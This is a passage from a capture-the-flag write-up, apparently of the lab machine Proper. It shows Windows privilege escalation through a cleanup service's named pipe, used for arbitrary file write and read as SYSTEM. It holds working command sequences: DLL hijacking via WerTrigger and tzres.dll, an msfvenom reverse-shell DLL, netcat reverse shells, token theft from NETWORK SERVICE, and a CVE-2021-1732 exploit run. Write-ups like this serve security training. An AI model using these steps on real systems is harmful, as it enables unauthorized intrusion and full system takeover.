There’s another important thing I learned debugging and jumping around this binary. In the main.clean function, it gets the current time with It then enters a while loop, where it is looping over each file in the directory, eventually calling os.Stat. This returns information about the file. It does some conversions, eventually subtracting a time value from os.Stat from the value calculated using, and compares it to 0x278d00:


If the difference is less than 0x278d00, it doesn’t call main.serviceClean.

\[0x278d00 = 2592000 = 30 * 24 * 60 * 60 = 30 days\]

So it is only moving files that are more than 30 days old.

Arbitrary Write


The original file is somehow encrypted and stored in programdata, with a name that is the base64 of the original name. I wondered what would happen if I changed that name?

I created a dummy file, and set the timestamps back to the start of the year:

PS > cat .\Downloads\test.txt
this is a test
PS > $(Get-Item .\Downloads\test.txt).LastWriteTime = $(Get-Date "1/1/2021 6:00 am")
PS > $(Get-Item .\Downloads\test.txt).LastAccessTime = $(Get-Date "1/1/2021 6:00 am")
PS > $(Get-Item .\Downloads\test.txt).CreationTime = $(Get-Date "1/1/2021 6:00 am")
PS > ls .\Downloads\

    Directory: C:\Users\0xdf\Downloads

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          1/1/2021   6:00 AM             14 test.txt

I’ll clean it:

PS > .\client.exe
Cleaning C:\Users\0xdf\Downloads

It shows as cleaned in the server:

CLEAN C:\Users\0xdf\Downloads\test.txt

And the file is now in programdata as QzpcVXNlcnNcMHhkZlxEb3dubG9hZHNcdGVzdC50eHQ=:

oxdf@parrot$ echo "QzpcVXNlcnNcMHhkZlxEb3dubG9hZHNcdGVzdGZpbGUudHh0" | base64 -d

I’ll create a new name (the -n is important, as the newline will otherwise be in the base64 and mess up the restoration):

oxdf@parrot$ echo -n "C:\Users\0xdf\test.txt" | base64

And copy the file to that name (in C:\ProgramData\Cleanup):

PS > copy QzpcVXNlcnNcMHhkZlxEb3dubG9hZHNcdGVzdC50eHQ= QzpcVXNlcnNcMHhkZlx0ZXN0LnR4dA==

On restoring, it exists in this new directory:

PS > .\client.exe -R C:\Users\0xdf\test.txt
Restoring C:\Users\0xdf\test.txt
PS > cat test.txt
this is a test

I’m going to guess that the write occurs as the user running the server.exe process. On my machine, that’s just me (I could test by running it as another user on that VM), but on Proper, that’s likely System.


I’ll try the same thing on Proper:

PS C:\Users\web\Downloads> cat test.txt
0xdf was here
PS C:\Users\web\Downloads> $(Get-Item test.txt).LastWriteTime = $(Get-Date "1/1/2021 6:00 am")
PS C:\Users\web\Downloads> $(Get-Item test.txt).LastaccessTime = $(Get-Date "1/1/2021 6:00 am")
PS C:\Users\web\Downloads> $(Get-Item test.txt).creationTime = $(Get-Date "1/1/2021 6:00 am")

Clean it:

PS C:\Users\web\Downloads> cmd /c "C:\program files\cleanup\client.exe"
Cleaning C:\Users\web\Downloads

Create a filename:

oxdf@parrot$ echo -n "C:\windows\system32\0xdf.txt" | base64

Copy the backup into place:

PS C:\Users\web\Downloads> copy \programdata\cleanup\QzpcVXNlcnNcd2ViXERvd25sb2Fkc1x0ZXN0LnR4dA== \programdata\cleanup\Qzpcd2luZG93c1xzeXN0ZW0zMlwweGRmLnR4dA==


PS C:\Users\web\Downloads> cmd /c "C:\program files\cleanup\client.exe" -R C:\windows\system32\0xdf.txt
Restoring C:\windows\system32\0xdf.txt
PS C:\Users\web\Downloads> type C:\windows\system32\0xdf.txt
0xdf was here

That looks a lot like arbitrary write as SYSTEM.

Shell via WerTrigger

Write DLL to System32

Converting arbitrary write to shell on Windows is less trivial than on Linux, but still possible. PayloadsAllTheThings has a section on it. It mentions DiagHub (which I used back in HackBack) as now patched, UsoDLLLoader (may be patched in some insider builds), and WerTrigger. I was able to get the WerTrigger POC to work.

The way to exploit this is to write the phoneinfo.dll binary from the repo into C:\Windows\System32 and then trigger it’s being run with the error reporting process.

I’ll upload phoneinfo.dll to Downloads and update the timestamps:

PS C:\users\web\downloads> iwr -outfile phoneinfo.dll
PS C:\users\web\downloads> $(Get-Item phoneinfo.dll).CreationTime = $(Get-Date "1/1/2021 6:00 am")
PS C:\users\web\downloads> $(Get-Item phoneinfo.dll).LastAccessTime = $(Get-Date "1/1/2021 6:00 am")
PS C:\users\web\downloads> $(Get-Item phoneinfo.dll).LastWriteTime = $(Get-Date "1/1/2021 6:00 am")

Now run the cleaner:

PS C:\Users\web\Downloads> cmd /c "C:\program files\cleanup\client.exe"
Cleaning C:\Users\web\Downloads

I’ll need the new filename in System32:

oxdf@parrot$ echo -n "C:\Windows\System32\phoneinfo.dll" | base64

Use that to make the copy and then restore:

PS C:\programdata\cleanup> copy QzpcVXNlcnNcd2ViXERvd25sb2Fkc1xwaG9uZWluZm8uZGxs QzpcV2luZG93c1xTeXN0ZW0zMlxwaG9uZWluZm8uZGxs 
PS C:\programdata\cleanup> cmd /c "C:\program files\cleanup\client.exe" -R C:\Windows\System32\phoneinfo.dll
Restoring C:\Windows\System32\phoneinfo.dll

I’ve just written a dll into System32 that will be used when the windows error reporting program runs.

Trigger WER Exploit

The GitHub repo has a binary that triggers the backdoor. The source shows it does the following tasks:

  • Creates a directory, c:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e
  • Copies the REport.wer to c:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e\\Report.wer
  • Runs cmd /c SCHTASKS /RUN /TN "Microsoft\Windows\Windows Error Reporting\QueueReporting"
  • Deletes c:\\programdata\\microsoft\\windows\\wer\\reportqueue\\a_b_c_d_e
  • Connects to the shell on

I can do these steps without the binary.

I’ll make the directory above, and upload the Report.wer from GitHub into it:

PS C:\programdata> mkdir C:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e       
    Directory: C:\programdata\microsoft\windows\wer\reportqueue

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/16/2021  10:38 AM                a_b_c_d_e

PS C:\programdata> iwr -outfile C:\programdata\microsoft\windows\wer\reportqueue\a_b_c_d_e\Report.wer

Now I’ll trigger the error reporting task:

PS C:\programdata> cmd /c SCHTASKS /RUN /TN "Microsoft\Windows\Windows Error Reporting\QueueReporting"
SUCCESS: Attempted to run the scheduled task "Microsoft\Windows\Windows Error Reporting\QueueReporting".

There’s now a shell listening on 1337:

PS C:\programdata> netstat -ano | findstr 1337
  TCP              LISTENING       1560

I could create a tunnel to it, or just upload nc and connect locally. I’ll do the later:

PS C:\programdata> .\nc64.exe 1337

Microsoft Windows [Version 10.0.17763.1728]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

I can now get the flag:

C:\Windows\system32> type \users\administrator\desktop\root.txt

Beyond Root - Other Roots

Arbitrary Read

Sniff Pipe

I heard that other solved this challenge by converting the cleanup processes into arbitrary read as well as write. To do this, I’ll show a tool called Pipe Monitor from IONinja. The tool only comes with a free 7-day license, but that’s enough to solve this part.

I’ll install it in my Windows VM, start it, and create a new session. In the window, I’ll select “Pipe Monitor” and make sure to check the “Run as Administrator” box. Then I’ll click OK, and click on the Capture icon on the right to start a capture:


With the server already started, and a file old enough to be cleaned up in place, I’ll run the client.exe. The communications between client and server are exposed. The client is sending the command CLEAN [path]\n to the pipe. I’ll restore the file, and it’s also just sent as commands in plaintext into the pipe:


PowerShell Client

client.exe only checks in the users Downloads directory. But if I write my own client, I can send whatever files I want over the pipe.

I’ll create a handle to the pipe and connect to it:

PS C:\> $pipe = New-Object System.IO.Pipes.NamedPipeClientStream("\\.\cleanupPipe")
PS C:\> $pipe.Connect()

Now I’ll create a StreamWriter object to write into the pipe:

PS C:\> $sw = New-Object System.IO.StreamWriter($pipe)
PS C:\> $sw.AutoFlush = $true

I’ll clean root.txt:

PS C:\> $sw.Write("CLEAN C:\users\administrator\desktop\root.txt`n")  

It worked:

PS C:\> ls \programdata\cleanup

    Directory: C:\programdata\cleanup

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        3/16/2021  12:37 PM            192 QzpcdXNlcnNcYWRtaW5pc3RyYXRvclxkZXNrdG9wXHJvb3QudHh0                  

That’s root.txt. I’ll copy it to \programdata:

oxdf@parrot$ echo "QzpcdXNlcnNcYWRtaW5pc3RyYXRvclxkZXNrdG9wXHJvb3QudHh0" | base64 -d
oxdf@parrot$ echo -n "C:\\programdata\\0xdf.txt" | base64
PS C:\> copy \programdata\cleanup\QzpcdXNlcnNcYWRtaW5pc3RyYXRvclxkZXNrdG9wXHJvb3QudHh0 \programdata\cleanup\Qzpwcm9ncmFtZGF0YTB4ZGYudHh0

I can restore it the way I did before, and there’s the flag:

PS C:\programdata\cleanup> cmd /c "C:\program files\cleanup\client.exe" -R C:\programdata\0xdf.txt                    
Restoring C:\programdata\0xdf.txt

PS C:\programdata\cleanup> type C:\programdata\0xdf.txt

Via NetworkService

This is just another way to abuse the arbitrary write. This path takes two hops to get to SYSTEM, first through the network service user.

Shell as network service

I need a DLL payload, and AV isn’t causing issues on this box, so I’ll create one with msfvenom:

oxdf@parrot$ msfvenom -p windows/x64/shell_reverse_tcp -f dll LHOST= LPORT=443 > rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

I’ll upload it to Proper, change the times, clean it to get it into storage:

PS C:\Users\web\Downloads> wget -outfile rev.dll
PS C:\Users\web\Downloads> $f = "rev.dll"
PS C:\Users\web\Downloads> $(Get-Item $f).creationTime = $(Get-Date "1/1/2021 6:00 am")
PS C:\Users\web\Downloads> $(Get-Item $f).LastaccessTime = $(Get-Date "1/1/2021 6:00 am")
PS C:\Users\web\Downloads> $(Get-Item $f).LastWriteTime = $(Get-Date "1/1/2021 6:00 am")
PS C:\Users\web\Downloads> cmd /c "C:\program files\cleanup\client.exe"
Cleaning C:\Users\web\Downloads
PS C:\Users\web\Downloads> cd \programdata\cleanup
PS C:\programdata\cleanup> dir

    Directory: C:\programdata\cleanup

Mode                LastWriteTime         Length Name                                                                   
----                -------------         ------ ----                                                                   
-a----        3/17/2021   1:22 PM          34872 QzpcVXNlcnNcd2ViXERvd25sb2Fkc1xyZXYuZGxs

I want to move this file to system32 as tzres.dll:

oxdf@parrot$ echo -n "C:\Windows\System32\wbem\tzres.dll" | base64 
PS C:\programdata\cleanup> copy QzpcVXNlcnNcd2ViXERvd25sb2Fkc1xyZXYuZGxs QzpcV2luZG93c1xTeXN0ZW0zMlx3YmVtXHR6cmVzLmRsbA==
PS C:\programdata\cleanup> cmd /c "C:\program files\cleanup\client.exe" -R C:\Windows\System32\wbem\tzres.dll
Restoring C:\Windows\System32\wbem\tzres.dll

This DLL is called by the systeminfo command, so running that will trigger a reverse shell to me as network service:

PS C:\programdata\cleanup> systeminfo
ERROR: The remote procedure call failed.
oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49680
Microsoft Windows [Version 10.0.17763.1728]
(c) 2018 Microsoft Corporation. All rights reserved.

nt authority\network service

Shell as SYSTEM

network service does have SeImpresonatePrivilege:

C:\ProgramData>whoami /priv


Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

So I could run RoguePotato to get a shell from here. There’s also this post by Forshaw, which details how to target the RPCSS service process, which also runs as NETWORK SERVICE and almost always has tokens for SYSTEM. The post goes into how to steal them. And Decoder wrote an executable to just do that automatically.

I’ll download Decoder’s repo into a Windows VM, double click the .sln file to open it in Visual Studio, and select build. Once that succeeds, I’ll copy the resulting .exe back to my Parrot VM, and upload it to Proper.

Running it prints the syntax:

         -c <command>
         -i interactive mode
         -l list unique tokens
         -p <pid> specific pid to look for

Some playing around with it reveals that if I don’t use -i, it doesn’t show me output or wait for a return. Once I figured that out, it works:

C:\ProgramData>.\NetworkServiceExploit.exe -i -c whoami
[*] Creating Pipe: frAQBc8Wsa1
[*] Listening on pipe \\.\pipe\frAQBc8Wsa1, waiting for client to connect
[*] Client connected!
[*] Enumerating tokens...Done!
[*] Processing tokens, looking for NT AUTHORITY\DECODER... just kidding ;-) looking for:NT AUTHORITY\SYSTEM...
[+] Requested token found!!!
[*] Attempting to create new child process and communicate via anonymous pipe

nt authority\system
[*] Returning from exited process

I can just use the nc64.exe already on Proper to get a shell:

C:\ProgramData>.\NetworkServiceExploit.exe -c "\programdata\nc64.exe -e cmd 443" -i
.\NetworkServiceExploit.exe -c "\programdata\nc64.exe -e cmd 443" -i
[*] Creating Pipe: frAQBc8Wsa1
[*] Listening on pipe \\.\pipe\frAQBc8Wsa1, waiting for client to connect
[*] Client connected!
[*] Enumerating tokens...Done!
[*] Processing tokens, looking for NT AUTHORITY\DECODER... just kidding ;-) looking for:NT AUTHORITY\SYSTEM...
[+] Requested token found!!!
[*] Attempting to create new child process and communicate via anonymous pipe

It hangs there, but at nc there’s a shell:

oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49696
Microsoft Windows [Version 10.0.17763.1728]
(c) 2018 Microsoft Corporation. All rights reserved.

nt authority\system


This really slick POC for CVE-2021-1732 was published about a week and a half before Proper’s release, and Proper was vulnerable to it at it’s release (though I don’t know of anyone who first solved it this way).

I’ll download the repo to my windows VM, open it in Visual Studio, and build it as is. There are a bunch of warnings, but it succeeds:


I’ll copy that output exe to my Parrot VM, and then upload it to Proper:

PS C:\programdata> iwr -outfile e.exe

The gif on GitHub shows it running as Exploit.exe whoami, so I’ll give that a try. It works:

PS C:\programdata> .\e.exe whoami                                               
.\e.exe whoami                               
Press any key to continue . . .              

Hwnd:0015006e   qwfirstEntryDesktop=000001F1FD601AF0
BaseAddress:000001F1FD601000   RegionSize=:0000000000003000
Hwnd:000a005e   qwfirstEntryDesktop=000001F1FD601CB0
BaseAddress:000001F1FD601000   RegionSize=:0000000000003000
Hwnd:000a009a   qwfirstEntryDesktop=000001F1FD601E70
BaseAddress:000001F1FD601000   RegionSize=:0000000000003000
Hwnd:000d0098   qwfirstEntryDesktop=000001F1FD602030
BaseAddress:000001F1FD602000   RegionSize=:0000000000002000
Hwnd:0010007a   qwfirstEntryDesktop=000001F1FD6021F0
BaseAddress:000001F1FD602000   RegionSize=:0000000000002000
Hwnd:00c9002e   qwfirstEntryDesktop=000001F1FD6023B0
BaseAddress:000001F1FD602000   RegionSize=:0000000000002000
Hwnd:000e007c   qwfirstEntryDesktop=000001F1FD602570
BaseAddress:000001F1FD602000   RegionSize=:0000000000002000
Hwnd:000a0092   qwfirstEntryDesktop=000001F1FD602730
BaseAddress:000001F1FD602000   RegionSize=:0000000000002000
Hwnd:000200a2   qwfirstEntryDesktop=000001F1FD6028F0
BaseAddress:000001F1FD602000   RegionSize=:0000000000002000
Hwnd:000300a0   qwfirstEntryDesktop=000001F1FD602AB0
BaseAddress:000001F1FD602000   RegionSize=:0000000000002000
Min BaseAddress:000001F1FD601000   RegionSize=:0000000000003000
qwFrist read=FFFFF634C0834140                
qwSecond read=FFFFD1886DE11810               
qwSecond read=FFFFF634C26D0000               
qwFourth read=FFFFF634C07AF010               
qwFifth read=FFFFD18870D48080                
qwSixth read=FFFFD1886CB71080                
[*] Trying to execute whoami as SYSTEM
[+] ProcessCreated with pid 4020!            
nt authority\system                          

Press any key to continue . . .

I’ll try a reverse shell with nc64.exe that I uploaded earlier:

PS C:\programdata> .\e.exe "\programdata\nc64.exe -e powershell 443"
Press any key to continue . . . 

It hangs, but there’s a shell at another nc listener:

oxdf@parrot$ nc -lnvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49687
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\programdata> whoami
nt authority\system